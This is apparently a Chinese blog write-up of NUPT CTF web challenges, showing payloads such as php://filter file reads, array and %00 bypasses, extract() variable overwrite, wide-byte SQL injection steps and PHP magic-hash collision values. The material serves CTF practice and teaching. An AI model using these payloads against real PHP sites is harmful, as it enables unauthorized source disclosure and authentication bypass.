iloveflag-blog

南邮ctf

字数统计: 1.3k阅读时长: 6 min
2018/08/23 Share

filter-文件包含

例题:http://4.chinalover.sinaapp.com/web7/index.php

参考:https://blog.csdn.net/qq_35544379/article/details/78230629

发现有一个get file的的文件包含,但是要如何获取flag呢?一直想不通

悄咪咪地搜索了下write up

payload为http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

index.php进行base64加密

放入python解密

1
2
3
s="PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4="
r=base64.b64decode(s)
print(r)

结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

strcmp漏洞

数组绕过

地址:(http://chinalover.sinaapp.com/web21/)

extract()变量覆盖

payload:pass[]=1

例题:http://chinalover.sinaapp.com/web18/

payload: pass=123&thepassword_123=123

当extract()函数从用户可以控制的数组中导出变量时,可能发生变量覆盖

                <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                    <?php
                    extract($_POST);
                    if ($pass == $thepassword_123) { ?>
                        <div class="alert alert-success">
                            <code><?php echo $theflag; ?></code>
                        </div>
                    <?php } ?>
                <?php } ?>

extract函数去导出post过去的变量,而后去和$thepassword_123去比较,用payload去覆盖$thepassword_123的值

参考:<白帽子讲web安全>第334页

intval

找到robots.txt发现hint

本来想着基本的sql绕过,但是1024的判断是啥用

最后发现intval取整数

payload:id=1024.1

http://chinalover.sinaapp.com/web11/

cookie


改为1

http://chinalover.sinaapp.com/web10/index.php

phpdecode

http://ctf.nuptzj.cn/challenges#php%20decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

没啥难度,echo一下就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}
echo (CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));

?>

层层递进

例题:http://chinalover.sinaapp.com/web3/

刚开始点进去寻找一般的文件上传马之类的,后面看write up发现思路错了

发现一个页面

访问右键源码

藏在js里面也是脑洞清奇!

sql injection 3

例题:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

参考:https://www.cnblogs.com/lcamry/articles/5625276.html

当页面的页码为gpk时。可能会造成宽字符注入。

通常页面使用这个函数addslashes对页面进行转义的时候。在’前面加一个/。但是当用户输入%df和/可以组合变成一个中文汉字”運”

先用order by查询有几列:

联合查询获得主要信息:

爆出当前数据库下面的tables:

然后获取列名

因为where colums=’xxx’又会被转义,所以使用16进制,到ctf4的时候发现有flag关键字:

伪装者

例题:(http://chinalover.sinaapp.com/web4/xxx.php)

可惜实验没效果,不知道是啥原因

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如下:X-Forwarded-For: client1, proxy1, proxy2。

起名字真难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

要使$number == ‘54975581388’

但是不能每一位是数字

1
2
3
4
5
6
7
8
9
<?php
if (“54975581388″==”0xccccccccc”){
echo “ok”;
}
else{
echo “no”;
}

?>

测试下进制比较的结果,转化为十六进制即可通过

例题http://chinalover.sinaapp.com/web12/index.php

ereg函数的%00截断

ereg读到%00的时候,就截止了

当ntf为数组时它的返回值不是FALSE

1
2
3
4
5
6
7
8
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

例题:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php

writeup1:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu

writeup2:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=111

md5 collision,bypass again

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

例题:

http://chinalover.sinaapp.com/web19/

http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=240610708

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

以下值在md5加密后以0E开头

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

以下值在sha1加密后以0E开头,sha1(str)

  • sha1(‘aaroZmOk’)
  • sha1(‘aaK1STfY’)
  • sha1(‘aaO8zKZF’)
  • sha1(‘aa3OFF9m’)

writeup:http://chinalover.sinaapp.com/web19/?a=240610708

CATALOG
  1. 1. filter-文件包含
  2. 2. strcmp漏洞
  3. 3. extract()变量覆盖
  4. 4. intval
  5. 5. cookie
  6. 6. phpdecode
  7. 7. 层层递进
  8. 8. sql injection 3
    1. 8.1. 先用order by查询有几列:
    2. 8.2. 联合查询获得主要信息:
    3. 8.3. 爆出当前数据库下面的tables:
    4. 8.4. 然后获取列名
  9. 9. 伪装者
  10. 10. 起名字真难
  11. 11. ereg函数的%00截断
  12. 12. md5 collision,bypass again
    1. 12.1. writeup:http://chinalover.sinaapp.com/web19/?a=240610708